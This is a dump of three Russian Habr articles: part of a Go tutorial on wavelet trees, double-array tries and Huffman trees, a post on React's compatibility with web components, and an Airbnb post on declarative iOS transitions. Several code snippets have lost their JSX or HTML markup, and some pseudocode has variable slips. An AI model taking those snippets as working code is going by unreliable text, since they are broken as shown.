***Track(symbol, count)*** позволяет найти symbol в последовательности **S[i]** использованный *count* раз. Для реализации этого метода понадобится вторая базовая функция ***select0(j)*** возвращающая индекс *j-го* **«0»** в бит-карте (или ***select1(j)***). Двигаемся от словаря вверх до корня применяя эту функцию. Нам нужно просто обратить предыдущий алгоритм и вместо ***rank()*** применять ***select()***.
Следует отметить, что вейвлет дерево совсем не обязательно должно быть сбалансированным. Зная что некоторые символы встречаются в последовательности чаще других мы очень можем применить *кодирование Хаффмана* при построении дерева. Это лишь изменит топологию, а алгоритмы и функции будут работать как и прежде. И мы сможем добиться дополнительного сжатия данных и коротких треков для высокочастотных символов словаря.
Рассмотрим применение вейвлет дерева для построения индекса полнотекстового поиска. Обычно для этой цели строят обратный индекс — массив ассоциирующий символы словаря с позициями вхождения в последовательность. Преимуществами в-дерева в таком амплуа можно считать:
* нет необходимости хранить саму исходную последовательность
* обратный индекс предоставляет только метод Track(symbol), а у в-дерева есть еще метод Access(i) предлагающий обратную операцию — поиск символа по прямому индексу за логарифмическое время.
То есть вейвлет дерево это сразу два индекса прямой и обратный в компактном представлении. Такая компактность позволяет работать с большими последовательностями в памяти.
Для быстрого поиска по индексу кроме ***rank()*** и ***select()*** нужен еще быстрый поиск по словарю, особенно если этот словарь большой. Типично применять для этого ассоциативный массив. Однако associative array очень общая структура с избыточными характеристиками. В текстовых системах эффективней *trie*, *префиксное дерево*, ключами которого являются строки а значениями числа. Кроме большей скорости и компактности по сравнению с ассоциативным массивом на хеш-функциях префиксное дерево еще предлагает специфические для текстовых систем методы — ***PrefixMatch()*** и ***PrefixPredict()***, необходимые например для автоподсказок. Однако хранить дерево ссылками может быть неэффективным по сравнению с последовательными структурами. И способы сериализации префиксного дерева появились. Сначала *triple array trie*, которое потом было модифицировано до *double array trie*. Почитать теорию вопроса можно [здесь](https://linux.thai.net/~thep/datrie/), хорошо объяснен классический алгоритм. Но структура получилась довольно сложная в реализации. И вот пожалуйста — вариант *double array trie* пришедший не из академического мира, а из [блога](https://engineering.linecorp.com/ja/blog/simple-tries/) коммерческой японской компании. Хоть и несколько ограниченный но подкупающий элегантностью, лаконичностью и простотой реализации в коде. Очень succinct. Собственно результат на картинке:
По шагам. На следующей иллюстрации последовательность термов и префиксное дерево к ней.
Наивная сериализация этого дерева в матрицу. Термы — столбцы матрицы.
Нумеруем узлы. И вот изюминка, стратегия обхода дерева — "*сперва брат*". Не в глубину *DFS*, не в ширину *BFS*, а «по братски»(*Sibling priority search*). Рекурсивно: сперва всех братьев, потом вглубь. Такой способ обхода и позволяет сделать структуру компактной.
*Double-array trie* будет выглядеть так. В поле next индекс первого дочернего узла или, если дочернего нет и это лист, то индекс первого дочернего узла старшего брата (первого кузена). Тогда все дети узла **T[i]** между **T[i].next… T[i].next**.next На этом и строится поиск. Дополнительные чеки — является ли узел термом словаря, является ли листом дерева.
Формальный алгоритм построения в псевдокоде:
```
algorithm SFT(S: array of strings)
T = [] # empty array of nodes
T.append({ label: any symbol, next: 1, match: false, leaf: false })
construct(S, 1, |S|, 1, T, 1)
return T
algorithm construct(S, begin, end, depth, T, current)
if(d > |S[s]|)
T[current].match = true
if(++begin == end)
T[current].leaf = true
return
P = [] # empty array of integers
P.append(begin)
for(i = begin; i < end; )
T.append({ label: S[i][depth], next: NaN, match: false, leaf: false })
while(i < end && S[i][depth] == S[i+1][depth])
++i
P.append(i)
for(k = 1; k < |P| - 1; k = k + 1)
T[T[i].next + k].next = |T| + 1
construct(S, k, k + 1, depth + 1, T, T[current].next + k)
```
Пошаговая иллюстрация построения:
Формальный алгоритм доступа:
```
algorithm search(T, pattern)
u = 0
for(i = 1; i < |pattern|; i++)
if(T[u].leaf)
return false
u = T[u].next
v = T[u].next - 1
while(u < v)
m = (u + v) / 2
if(T[m].label < pattern[i])
u = m + 1
else
v = m
if(u > v || T[u].label != pattern[i])
return false
return T[u].match
```
В текстовых системах большинство термов имеют уникальные окончания, а не рознятся в одной последней букве. Введя в таблицу еще один чек — **tail** сигнализирующий что далее следует окончание и ветвления больше не будет мы можем сократить количество проверок при поиске. Эта оптимизация не детализирована здесь, чтобы не загромождать повествование, но она сделана в коде.
#### Реализация на Go
Для начала очень обобщенно, а то Go ругают за отсутствие generic и object oriented. Вот generic вейвлет дерево, архитектура сверху.
```
type Bitmap interface {
Rank1(uint) uint
Rank0(uint) uint
Select1(uint) uint
Select0(uint) uint
Get(uint) int8
}
type WTree interface {
BitMap() Bitmap
RChild() WTree
LChild() WTree
Parrent() WTree
IsLeaf() bool
IsHead() bool
IsLChild() bool
}
func Access(wt WTree, pos uint) (WTree, uint) {
var bit int8
for !wt.IsLeaf() {
bit = wt.BitMap().Get(pos)
if bit == 0 {
pos = wt.BitMap().Rank0(pos) - 1
wt = wt.LChild()
} else {
pos = wt.BitMap().Rank1(pos) - 1
wt = wt.RChild()
}
}
return wt, pos
}
func Track(wt WTree, count uint, bit int8) (WTree, uint) {
lch := bit == 0
for {
if lch {
count = wt.BitMap().Select0(count)
} else {
count = wt.BitMap().Select1(count)
}
if wt.IsHead() {
break
}
lch = wt.IsLChild()
wt = wt.Parrent()
}
return wt, count
}
```
Видно, что структура использует методы ***Child()***, ***Parrent()*** характерные для дерева повторяя алгоритм буквально. Построить дерево на ссылках задача тривиальная. Сериализация сбалансированного дерева в массив тоже давно известна и не представляет труда:
```
leftChild=array[parrentIndex*2+1]
rightChild=array[parrentIndex*2+2]
parrent=array[(childIndex-1)/2]
```
В качестве рабочей лошадки для операций над бит-картами будем использовать *math/bits* из *stdlib*. Этого нам вполне хватит(в Go качественная *stdlib* и ее обычно хватает). В качестве собственно бит-карты применяем *[]uint64*.
Доступ к биту на позиции pos в карте представленной таким образом прост:
```
var bm []uint64
bit := bm[int(pos/64)] >> (pos % 64)) & 1
```
Рутины ***Rank() Select()*** реализованы через библиотечную функцию ***bits.OnesCount64()*** (подсчет установленных в единицу бит), примерно так:
```
func (bm Bitmap64) Rank1(pos uint) (count uint) {
var n uint
for ; n < pos/64; n++ {
count += uint(bits.OnesCount64(bm[int(n)]))
}
count += uint(bits.OnesCount64(bm[int(n)] << (63 - pos%64)))
return
}
```
Такая реализация **Rank()** дает линейную сложность от длины бит-карты. Длина бит-карты логарифмически снижается к листьям дерева от длины последовательности. В теоретических работах приводятся методы реализации ***Rank() Select()*** константной сложности. Это может быть достигнуто хранением дополнительных таблиц переходов, что то вроде динамического программирования. Эти методы не рассматриваются здесь ввиду громоздкой реализации в коде, но интересующимся *succinct* полезно знать что это возможно — возможны реализации ***Rank() Select()*** константной ассимптотической сложности ценой дополнительных расходов памяти и громоздкого кода.
В репозитарии github.com/uvelichitel/wtree есть пример использования generic кода для сбалансированного дерева сериализованного в массив. Прописаны методы доступа для этого массива и прописанные методы для бит-карты. Вы можете так же реализовать методы интерфейса для своей модели дерева, а готовый тип бит-карты просто включить (embedd) в свой тип.
Примерно так:
```
import "github.com/uvelichitel/wtree/bitmap64"
type Maps []bitmap64.Bitmap64
type WTArray struct {
*Maps
Mark int
}
...
func (wt WTArray) RChild() wtree.WTree {
wt.Mark = 2*wt.Mark + 2
return wt
}
...
```
Теперь необходимые методы для интерфейсов реализованы и вы можете использовать функции вейвлет дерева **Track() Access()** для своего типа.
С деревьями Хаффмана посложней. Сериализация такого дерева уже требует применения *LOUDS* (смотреть вводную [статью](https://habr.com/ru/company/mailru/blog/479822/)) Классический *LOUDS* в нашем случае избыточен потому что дерево Хаффмана бинарно и несбалансировано правой косынкой (а не любое дерево вообще). Будем сериализовать так — массив узлов и массив *LBS (LOUDS Bit String)*, но *LBS* будет существенно проще классического, а именно — **«0»** для листа или **«1»**. Для построения дерева Хаффмана нам нужна процедура слияния двух деревьев в одно. В нашем случае алгоритм будет выглядеть следующим образом(вот здесь алгоритмистика авторская).
```
Склеиваем дерево Huff{Nodes[], LBS[]} из деревьев Huff1{Nodes1[], LBS1[]) Huff2{Nodes2[], LBS2[]}
просматриваем оба дерева на каждом уровне "c" поочередно
пока с1>0 или c2>0
i1=c1 (узлы первого дерева на уровне с)
пока i1>0 (узлы на уровне с)
добавляем LBS1[i1] бит в итоговый LBS[]
если LBS1[i1] == 0, это лист, добавляем в Nodes[] узел из Nodes1[]
иначе c1=c1+2, это не лист и на следующем уровне этот узел добавит две ветви
i1--
i2=c2 (тоже для второго дерева на уровне с)
пока i2>0 (узлы на уровне с)
добавляем LBS1[i1] бит в итоговый LBS[]
если LBS2[i2] == 0, это лист, добавляем в Nodes[] узел из Nodes2[]
иначе c2=c2+2, это не лист и на следующем уровне этот узел добавит две ветви
i2--
```
(алгоритм реализован функцией ***combine()*** в репозитарии)
Имея процедуру склейки мы легко можем написать алгоритм конструирования дерева Хаффмана из частотного словаря. Классический алгоритм использует «кучу». Но есть решение посвежее — если частотный словарь отсортирован, а частотные словари как правило предлагаются уже отсортированными, то можно обойтись «очередью».
```
1. Две пустых очереди
2. Построить узел из каждого элемента сортированного частотного словаря и запустить в первую очередь (в невозрастающем порядке).
3. Извлечь два поддерева
a) если вторая очередь пуста извлекать из первой
b) если первая очередь пуста извлекать из второй
с) иначе извлекать из той очереди где меньше вес
4. Слить два извлеченных дерева, присвоить вес равный сумме весов и запустить во вторую очередь
5. Повторять до опустошения обеих очередей.
Последнее извлеченное дерево будет результирующим деревом Хаффмана.
```
Ассимптотическая сложность *O(n)*. Ассимптотическая сложность алгоритма с "*кучей"* *O(nLogn)*, зато работает на неотсортированных частотных словарях.
Довольно просто, но в процедурных языках C-семейства нет эффективного примитива очереди.
Обычно для реализации очереди в последовательной памяти (не перевязанной ссылками) применяют идею кольцевого буфера. Именно так, кстати, реализованы каналы channel в *Go*.
```
type Queue struct {
buf []Elem
head, tail, count int
}
//указатели head, tail обеспечивают механику кольца через buf[0]
//count чек свободного места в буфере
//примерно так
func (q *Queue) Push(elem Elem) {
if q.count == len(q.buf) {
q.resize() //если длины буфера не хватает делается аллокация
}
q.buf[q.tail] = elem
// bitwise modulus
q.tail = (q.tail + 1) & (len(q.buf) - 1)
q.count++
}
```
(В репозитарии есть функции ***Huffman()*** и ***Huffman1()*** для построения дерева Хаффмана из частотного словаря использующие "*очередь*" и "*кучу*" соответственно).
Структура [репозитария](https://github.com/uvelichitel/wtree):
* wavelettree.go в корне — очень generic код демонстрирующий идею и подход
* bitmap64 — рабочая лошадка, содержит примитивы репрезентации bitmap массивом int64, можно включать в свои поделки succinct типов. Необходимо заметить что методы этого пакета возвращают только одно значение а не кортеж **(value, error)** как это заведено в *Go*. Так сделано сознательно, из соображений что эти методы будут крутиться в рабочих, нагруженных циклах. А проверки валидности предпологается выносить уровнем абстракции выше, в пользу производительности.
* dict — реализация словаря термов на double-array-trie вместо ассоциативного массива
* wtarray — представление сбалансированного вейвлет дерева последовательным массивом
* wutarray — представление небалансированного вейвлет дерева Хаффмана последовательным массивом
* hwtree — слабо структурированный код написанный для решения частной задачи (мониторинг больших логов в памяти) с которой справился, реализует вейвлет-дерево Хаффмана (два варианта кодирования)
* indexer — набор вспомогательных методов упрощающих построение исполняемого приложения: сериализация/десериализация на диск, реализация интерфейсов writer/reader, многопоточность.
Цитатник:
* [habr.com/ru/company/mailru/blog/479822](https://habr.com/ru/company/mailru/blog/479822/)
* В комментариях исходников math/bits упоминается "[Bit Twiddling Hacks By Sean Eron Anderson seander@cs.stanford.edu](https://graphics.stanford.edu/~seander/bithacks.html)".Это хороший материал.
* [linux.thai.net/~thep/datrie](https://linux.thai.net/~thep/datrie/)
* Journal of Discrete Algorithms Wavelet trees for all Gonzalo Navarro [www.sciencedirect.com/science/article/pii/S1570866713000610](https://www.sciencedirect.com/science/article/pii/S1570866713000610)
* [engineering.linecorp.com/ja/blog/simple-tries](https://engineering.linecorp.com/ja/blog/simple-tries/) | https://habr.com/ru/post/491368/ | null | ru | null |
# Нарушает ли React DOM-стандарты?
Существует довольно популярный сайт <https://custom-elements-everywhere.com> где показывается как работают веб-компоненты в разных фреймворках. Почти у всех фреймворков там красивый 100% результат, но у React там очень настораживающие 71%:
Рейтинг React на custom-elements-everywhere.comМногие пользователи смотрят на эту страничку и делают вывод, что React плохо поддерживает не только веб-компоненты, но и DOM API в принципе. Так ли это? Действительно ли все плохо?
Давайте разбираться!
Анализируем тесты
-----------------
Рейтинг высчитывается на основании тестов. [Вот тут показывается результат](https://custom-elements-everywhere.com/libraries/react/results/results.html). Всего 15 тестов, 7 из них сломаны, отсюда получаем такой неважный рейтинг. Сломаны следующие тесты:
* attributes and properties
+ will pass array data as a property
+ will pass object data as a property
* events
+ can declaratively listen to a lowercase DOM event dispatched by a Custom Element
+ can declaratively listen to a kebab-case DOM event dispatched by a Custom Element
+ can declaratively listen to a camelCase DOM event dispatched by a Custom Element
+ can declaratively listen to a CAPScase DOM event dispatched by a Custom Element
+ can declaratively listen to a PascalCase DOM event dispatched by a Custom Element
Можно заметить, что все это тесты с похожими именами, то есть они тестируют разные аспекты одной и той же штуки. Скорее всего все эти падения вызваны одной проблемой и можно исправить их все одним изменением. Поэтому цифра в 71% по сути ничего не значит, это могло быть и 90% и 15% в зависимости от фантазии автора, и сколько тест-кейсов он написал.
Однако факт остается, что-то не работает, и с этим нужно разбираться. Вся ситуация сводится к двум баг-репортам на Github:
* [Веб-компоненты не работают в кастомной системе событий React.](https://github.com/facebook/react/issues/7901)
* [Неоднозначность между использованием атрибутов и свойств.](https://github.com/facebook/react/issues/11347)
Какие же сложности мешают "просто взять и починить" фреймворк? Давайте сначала разберемся с событиями.
События
-------
В современных фреймворках принято добавлять обработчики событий сразу рядом со обычными атрибутами:
Это позволяет сразу видеть что подается на вход и выход элемента в одном месте. С веб-компонентами хотелось бы делать то же самое:
Однако это не работает, потому что не каждый атрибут начинающийся с `on*` React превращает в обработчик события. Вместо этого они поддерживают избранный (пусть и довольно большой) [список событий](https://reactjs.org/docs/events.html#supported-events). Почему они так сделали, объясняет Sebastian Markbåge (один из разработчиков React) в [этом комментарии](https://github.com/facebook/react/issues/7901#issuecomment-575282200). Вот мой перевод:
> Мы активно ищем различные способы решения этой проблемы, но нужно принимать в расчет некоторые моменты. Например, как touch-события будут работать в сложных жестах и как это будет согласовываться со всплытием событий, как это будет работать при серверном рендеринге с избирательной гидрацией, как мы сможем добавить дополнительные возможности вроде различного приоритета разным типам событий, как мы будем различать дискретные события и непрерывные поточные события в конкуретном режиме, как мы будем взаимодействовать с "глобальными" событиями вроде нажатия клавиш, и т.д. Мы уже предприняли несколько неудачных попыток, и в конце концов мы хотим сделать это правильно.
>
> Конечно, мы можем добавить простую реализацию, которая оставляет эти вопросы открытыми. Однако, мы уже знаем, что даже если мы добавим такую простую модель, мы захотим задепрекейтить ее и удалить в будущем в пользу наших текущих изысканий. Нам кажется, что работа не стоит того ради небольшого синтаксического улучшения. Экосистема будет вынуждена поддерживать как ручные ссылки на DOM-элементы, *так и* этот новый синтаксис, пока мы разрабатываем новую систему. Вместо этого вы можете уже сейчас пользоваться ручным управлением через ссылки на DOM-элементы (refs) и это будет рабочий вариант.
>
>
Таким образом, React не предоставляет прямого доступа к DOM-событиям, потому что они хотят их обернуть в свои абстракции, чтобы лучше поддержать будущие фичи React (вроде Concurrent mode), у разработчиков уже сейчас есть вариант добавлять события вручную через [Refs API](https://reactjs.org/docs/refs-and-the-dom.html):
```
function CustomCheckbox({ checked, handleChange }) {
const ref = useRef();
useEffect(() => {
ref.current.addEventListener("change", handleChange);
return () => ref.current.removeEventListener("change", handleChange);
}, [handleChange]);
return ;
}
```
Если возможность добавления событий есть, то почему же тогда это не делается в тестах custom-elements-everywhere? Автор этой странички считает это хаком и настаивает на том, что поддержка должна быть встроена во фреймворк. Получается, что результаты этого теста основаны на субъективном мнении, а не технической возможности/невозможности решить задачу.
Свойства или атрибуты?
----------------------
Вторая причина так называемой "несовместимости в веб-компонентами" это невозможность передать в них свойства. Все, что вы передаете веб-компоненту в JSX будет превращено в атрибут. Атрибуты могут быть только строками, поэтому передать сложный объект не получится (хаки с JSON.stringify) в расчет не берем:
```
```
Причины такого поведения очень похожи на ситуацию с событиями выше. Команда React хочет абстрагироваться от реального DOM и назначать кастомное поведение индивидуальным свойствам для каких-то своих целей. При этом у вас всегда есть возможность обратиться к DOM-элементу напрямую, и задать какие угодно свойства. С появлением React-хуков код становится очень простым и элегантным:
```
function UserView({ user }) {
const ref = useRef();
// обновлять свойство при новом объекте user
useEffect(() => (ref.current.user = user), [user]);
return ;
}
```
Более того, если написание обертки для каждого свойства и компонента может утомить, то можно взять вот [этот маленький модуль](https://github.com/skatejs/val), который научит JSX работать и со свойствами, и с событиями как надо:
```
/** @jsx h */
import { createElement } from "react";
import val from "@skatejs/val";
const h = val(createElement);
function Checkbox({ checked, handleChange }) {
// работает!
return ;
}
```
Таким образом, технически задача решается, есть и переиспользуемый плагин, но Google Developer Advocates недовольны тем, что решение это не такое, как им бы хотелось. Ради этого они готовы [дезинформировать публику](https://twitter.com/slightlylate/status/1368418750161055747) о том, что у React есть проблемы с совместимостью с DOM (которых на самом деле нет).
Достоверность 100% рейтинга
---------------------------
Еще есть интересная ситуация со 100% результатами. Действительно ли это гарантия отсутствия проблем совместимости? [Как бы не так!](https://github.com/material-components/material-components-web/issues/4221). Имена событий могут быть любой строкой и содержать любые символы (вы же всегда хотели сделать `new CustomEvent('клик!')`)?
Иногда это вызывает проблемы совместимости с синтаксисом шаблонов. Например, в Angular нельзя использовать двоеточие при назначении обработчика событий в шаблонах. При этом [materials-components-web](https://github.com/material-components/material-components-web) использует такую систему именования событий: `MDCSlider:change`. Возникает ироничная ситуация когда один проект Google (Angular) несовместим с другим проектом той же компании (Material design). Решение всё то же, нам уже знакомое – добавим обертку и назначим обработчик через прямое обращение к DOM-элементу.
Таким образом, необходимость создания оберток, из-за которой React влепили его 71% рейтинга, не помешала дать Angular 100%. Вот такой вот непредвзятый рейтинг.
На всякий случай замечу, что это не является проблемой ни одного из фреймворков. Имена свойств и событий могут быть самыми разными и не вписываться в синтаксис шаблонов. Явное лучше неявного, и брать ручное управление DOM в особых случаях – это нормально. Не очень понятно, какую цель преследует автор custom-elements-everywhere своим рейтингом.
Реальная ситуация
-----------------
После того как мы разобрались c custom-elements-everywhere, давайте посмотрим на реальные проблемы совместимости между React и DOM API за пределами этой истории с веб-компонентами. Будем честны, они есть:
1. **onChange обработчик в React совсем не равен DOM-событию change**. Это действительно проблема, причины такого поведения объясняются в этом [Github issue](https://github.com/facebook/react/issues/9657). Это вызывает сложности как при изучении React, так и при миграции с React на что-то другое, когда выясняется, что onChange в React – не настоящий.
2. **onFocus/onBlur события всплывают.** В привычном нам DOM API, событие focus, вызывается только на том элементе, который получает фокус. В React же это событие всплывает по дереву компонентов, по сути работает как событие [focusin](https://developer.mozilla.org/en-US/docs/Web/API/Element/focusin_event). Больше об этом можно почитать в [этом issue](https://github.com/facebook/react/issues/16009).
3. **События всплывают по порталам.** Возможно, многие посчитают это фичей, но для полноты картины написать об этом стоит. [Portal API](https://reactjs.org/docs/portals.html) позволяет рендерить элементами за пределами основного контейнера с React-приложением. При этом события продолжат всплывать по дереву *компонентов* а не DOM-дереву, как будто портала никакого и нет.
Список далеко не полный, но это те моменты с которыми довелось лично мне столкнуться и которые я бы хотел исправить. Как видно, все не так уж плохо, и несмотря на эти недостатки, с помощью React можно строить большие, но при этом доступные (семантичные) веб-интерфейсы и использовать полную мощь DOM API в тех местах, где React недостаточно (например, декларативно управлять фокусом через [react-focus-lock](https://www.npmjs.com/package/react-focus-lock)).
Послесловие
-----------
Одним из фундаментальных требований по доступности к веб-сайтам является правильное оформление текстовых полей. Каждому полю должен быть назначен соответствующий label. Часто это делается через for и id атрибуты:
```
Ваше имя
```
В реальных проектах обычно создаются переиспользуемые компоненты для единообразного дизайна. На React наш пример может превратиться в такой код:
```
const id = useUniqueId();
Ваше имя
```
При этом компоненты Label и Input рендерят соответствующие html-тэги и наше текстовое поле остается семантичным и доступным.
Попробуем сделать то же самое без React, но на веб-компонентах:
```
Ваше имя
```
Наше текстовое поле сломалось! Внутренний тэг label не смог связаться с тэгом input, потому что они находятся в разных ShadowDOM инстансах. Существует [proposal призванный решить эту проблему](https://github.com/WICG/aom/issues/169), но он еще в зачаточной стадии и не работает ни в одном из браузеров (напоминаю, веб-компоненты разрабатываются без малого уже 10 лет). А в настоящий момент реализовать `custom-label` и `custom-input` в виде веб-компонентов, соблюдая требования доступности, не получится.
Вот и думайте сами, какая технология тут является настоящим нарушителем веб-стандартов. | https://habr.com/ru/post/546852/ | null | ru | null |
# Моушн-инжиниринг в Масштабе
Как Airbnb применяет декларативные шаблоны проектирования для быстрого создания плавной анимации перехода.
Автор: Кэл Стивенс
Движение является ключевой частью того, что делает цифровой опыт простым и восхитительным в использовании. Плавные переходы между *состояниями*и экранами - это ключевой элемент, помогающий пользователю сохранить контекст при навигации по функционалу. Быстрые всплески анимации оживляют приложение и помогают придать ему особую индивидуальность.
В Airbnb мы запускаем и проводим сотни функций и экспериментов, разработанных инженерами многих команд. При построении в таком масштабе очень важно учитывать эффективность и ремонтопригодность во всем нашем технологическом стеке, и движение не является исключением.
Добавление анимации к элементу должно быть быстрым и простым. Инструментарий должен дополнять и естественным образом соответствовать другим компонентам нашей функциональной архитектуры. Если анимация занимает слишком много времени при сборке или её слишком сложно интегрировать в общую функциональную архитектуру, - то зачастую она становится первым из решений во взаимодействии с продуктом, которое отбрасывается при переводе от проектирования к реализации.
В этом посте мы обсудим новую структуру для iOS, которую мы создали, чтобы помочь воплотить это видение в реальность.
Императивные Переходы UIKit
---------------------------
Рассмотрим этот переход на домашней странице приложения Airbnb, которая переносит пользователей из результатов поиска на расширенный экран с вводом поиска:
Пример перехода: раскрытие и сворачивание экрана ввода поиска в приложении Airbnb для iOSПереход является ключевой частью дизайна, благодаря которому весь процесс поиска кажется цельным и легким.
В рамках традиционных шаблонов UIKit есть два способа создать подобный переход. Один из них заключается в создании единого массивного вью-контроллера, который содержит как экран с результатами поиска, так и экран ввода поиска, и управляет переходом между этими двумя состояниями с помощью императивных блоков анимации UIView. Несмотря на то, что этот подход прост в реализации, его недостатком является тесная связь этих двух экранов, что делает их гораздо менее ремонтопригодными и портативными.
Другой подход заключается в реализации каждого экрана как отдельного вью-контроллера и создании специальной реализации UIViewControllerAnimatedTransitioning, которая извлекает соответствующие вью из каждой иерархии вью, а затем анимирует их. Обычно это сложнее реализовать, но ключевое преимущество заключается в том, что каждый отдельный экран может быть построен как отдельный *UIViewController*, как и для любой другой функции.
В прошлом мы создавали переходы с использованием обоих этих подходов и обнаружили, что оба они обычно требуют сотен строк хрупкого императивного кода. Это означало, что для создания пользовательских переходов требовалось много времени и их было сложно поддерживать, поэтому обычно они не включались в основной процесс разработки функций.
Общей тенденцией стал отход от такого рода императивного проектирования систем в сторону декларативных паттернов. В Airbnb мы широко используем декларативные системы - мы применяем такие фреймворки, как Epoxy и SwiftUI, для декларативного определения макета каждого экрана. Экраны объединяются в функции и потоки с помощью декларативных навигационных API. Мы обнаружили, что такие *декларативные системы* значительно повышают производительность, позволяя инженерам сосредоточиться на определении того, как должно вести себя приложение, и абстрагироваться от сложных деталей реализации, лежащих в основе.
Декларативные Анимации Перехода
-------------------------------
Чтобы упростить и ускорить процесс добавления переходов в наше приложение, мы разработали новый фреймворк для создания переходов декларативно, а не императивно, как делали раньше. Мы обнаружили, что данный подход значительно упростил создание нестандартных переходов; как результат - гораздо больше инженеров смогли легко добавлять насыщенные и восхитительные переходы на свои экраны даже в сжатые сроки.
Чтобы выполнить переход с помощью этого фреймворка, вы просто предоставляете *начальное*состояние и *конечное*состояние (или, как в случае экранного перехода, - *исходный*и *целевой*вью-контроллеры) вместе с *декларативным определением* перехода того, как должен быть каждый отдельный элемент на экране должен быть анимирован. Общая реализация *UIViewControllerAnimatedTransitioning*в данном фреймворке обрабатывает все остальное автоматически.
Этот новый фреймворк сыграл важную роль в том, как мы создаем функции. Он поддерживает многие новые функции, включенные в *Летний Релиз 2022* и *Зимний Релиз 2022* от Airbnb, что делает их простыми и приятными в использовании:
Примеры переходов в приложении Airbnb для iOS от новых функций, представленных в 2022 годуВ качестве введения начнем с примера. Здесь простое взаимодействие с «поиском», где панель выбора даты скользит снизу вверх по странице с контентом:
В этом примере есть два отдельных вью-контроллера: экран с результатами поиска и экран выбора даты. Каждый из компонентов, которые мы хотим анимировать, помечен идентификатором, чтобы определять их идентичность.
Диаграмма, показывающая экран результатов поиска и экран выбора даты с аннотациями идентификаторов компонентовЭти идентификаторы позволяют нам обращаться к каждому компоненту семантически по имени, а не напрямую ссылаться на экземпляр *UIView*. Например, компонент *Explore.searchNavigationBarPill* на каждом экране - это отдельный экземпляр *UIView*, но поскольку они помечены одним и тем же идентификатором, эти два экземпляра вью считаются отдельными «состояниями» одного и того же компонента.
Теперь, когда мы определили компоненты, которые хотим анимировать, мы можем определить, как это должно происходить. Для этого перехода мы хотим чтобы:
1. Фон затухал.
2. Нижняя панель скользила вверх от нижней части экрана.
3. Панель навигации анимировалась между первым и вторым состоянием (анимация «общего элемента»).
Мы можем выразить это как простое определение перехода:
```
let transitionDefinition: TransitionDefinition = [
BottomSheet.backgroundView: .crossfade,
BottomSheet.foregroundView: .edgeTranslation(.bottom),
Explore.searchNavigationBarPill: .sharedElement,
]
```
Возвращаясь к приведенному выше примеру с раскрытием и сворачиванием экрана ввода поиска, мы хотим чтобы:
1. Фон размывался.
2. Верхняя планка и нижняя планка сдвигались вовнутрь.
3. Строка поиска на главном экране переходила в карточку «Куда вы отправляетесь?»
4. Две другие карточки поиска исчезали, оставаясь тематически привязанными к карточке «Куда вы отправляетесь?
Вот как эта анимация определяется с помощью синтаксиса определения декларативного перехода:
```
let transitionDefinition: TransitionDefinition = [
SearchInput.background: .blur,
SearchInput.topBar: .translateY(-40),
SearchInput.bottomBar: .edgeTranslation(.bottom),
SearchInput.whereCard: .sharedElement,
SearchInput.whereCardContent: .crossfade,
SearchInput.searchInput: .crossfade,
SearchInput.whenCard: .anchorTranslation(relativeTo: SearchInput.whereCard),
SearchInput.whoCard: .anchorTranslation(relativeTo: SearchInput.whereCard),
]
```
Как это работает
----------------
Этот API определения декларативного перехода является мощным и гибким, но это только половина истории. Для реального выполнения анимации наша структура предоставляет общую реализацию *UIViewControllerAnimatedTransitioning*, которая принимает определение перехода и управляет анимацией перехода. Чтобы выяснить, как работает эта реализация, мы вернемся к простому взаимодействию «поиск».
Во-первых, фреймворк проходит по иерархии вью как *исходного*, так и *целевого*экранов, чтобы извлечь UIView для каждого из анимированных идентификаторов. Это определяет, присутствует ли данный идентификатор на каждом экране, и формирует *иерархию идентификаторов* (схожую с иерархией вью экрана).
«Иерархия идентификаторов» исходного и целевого экрановИерархии идентификаторов *источника* и *цели*различаются, чтобы определить, был ли отдельный компонент добавлен, удален или присутствует в них обоих. Если вью было добавлено или удалено, фреймворк будет использовать анимацию, указанную в определении перехода. Если вью присутствовало в обоих состояниях, то фреймворк уже выполнит «анимацию общего элемента», - т.е. компонент анимируется из своего исходного положения в конечное положение, пока его содержимое обновляется. Эти общие элементы анимируются рекурсивно - каждый компонент может предоставлять свою собственную иерархию идентификаторов дочерних элементов, которые также меняются и анимируются.
Окончательная иерархия идентификаторов после сравнения исходного и целевого экранов.
Чтобы действительно выполнить эти анимации, нам нужна единая *иерархия вью*, которая соответствует структуре нашей *иерархии идентификаторов*. Мы не можем просто объединить исходный и целевой экраны в единую иерархию вью, наложив их друг на друга, потому что порядок будет неправильным. В этом случае, если бы мы просто разместили целевой экран поверх исходного экрана, то исходное вью *Explore.searchNavigationBarPill* было бы ниже целевого элемента *BottomSheet.backgroundView*, который не соответствует иерархии идентификаторов.
Вместо этого мы должны создать отдельную иерархию вью, соответствующую структуре иерархии идентификаторов. Для этого нужно создать копии анимируемых компонентов и добавить их в контейнер перехода UIKit. Большинство *UIView*нельзя просто скопировать, поэтому копии обычно делаются путем «моментального снимка» вью (его рендеринга как изображения). Во время воспроизведения анимации мы временно скрываем «оригинальный вид», чтобы был виден только снимок.
После того, как фреймворк настроил иерархию вью контейнера перехода и определил для использования конкретную анимацию для каждого компонента, остается только применить и воспроизвести её. Именно здесь выполняются базовые императивные анимации *UIView.*
Вывод
-----
Как и в случае с Epoxy и другими декларативными системами, абстрагирование базовой сложности и предоставление простого декларативного интерфейса позволяет инженерам сосредоточиться на вопросе: что, а не как.
Декларативное определение перехода для этих анимаций состоит всего из нескольких строк кода, что само по себе является *огромным*улучшением по сравнению с любой возможной императивной реализацией. А поскольку наши API декларативного построения функций имеют первоклассную поддержку реализаций *UIKit*UIViewControllerAnimatedTransitioning, эти декларативные переходы можно интегрировать в существующие функции без внесения каких-либо изменений в архитектуру. Это значительно ускоряет разработку функций, позволяя как никогда легко создавать первоклассные переходы, одновременно обеспечивая гибкость и ремонтопригодность в долгосрочной перспективе.
У нас впереди насыщенная дорожная карта. Одним из направлений активной работы является улучшение совместимости со SwiftUI. Что позволит нам плавно переходить между экранами на основе UIKit и SwiftUI, открывая постепенное внедрение SwiftUI в нашем приложении без необходимости жертвовать движением. Мы также изучаем возможность сделать аналогичные фреймворки доступными в web и на Android.
Наша долгосрочная цель - максимально упростить воплощение замечательных идей нашего дизайнера в реальные продукты для всех платформ.
Хотите работать в Airbnb? Ознакомьтесь с этими вакансиями:
[Штатный инженер-программист](https://careers.airbnb.com/positions/4693375/), [Wishlists](https://careers.airbnb.com/positions/4693375/)
[Штатный инженер-программист](https://careers.airbnb.com/positions/4665949/), [Guests & Hosts](https://careers.airbnb.com/positions/4665949/)
[Штатный Android инженер-программист](https://careers.airbnb.com/positions/4590099/), [Guest](https://careers.airbnb.com/positions/4590099/)
Благодарность
-------------
